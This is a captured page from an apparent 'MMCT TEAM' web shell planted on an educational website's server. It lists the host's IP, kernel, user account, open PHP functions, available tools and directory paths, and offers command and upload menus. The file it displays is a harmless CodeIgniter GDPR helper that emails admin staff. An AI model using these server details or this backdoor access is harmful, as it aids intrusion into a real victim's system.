MMCT TEAM
Server IP : 192.185.129.71  /  Your IP : 13.58.245.201
Web Server : Apache
System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : svymadmin ( 4072)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/helpers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/helpers/gdpr_helper.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

function send_gdpr_email_template($template, $user_id)
{
    $CI = &get_instance();
    $CI->load->model('staff_model');

    $staff = $CI->staff_model->get('', ['active' => 1, 'admin' => 1]);

    foreach ($staff as $member) {
        send_mail_template($template, $member, $user_id);
    }
}

function is_gdpr()
{
    return get_option('enable_gdpr') === '1';
}

MMCT - 2023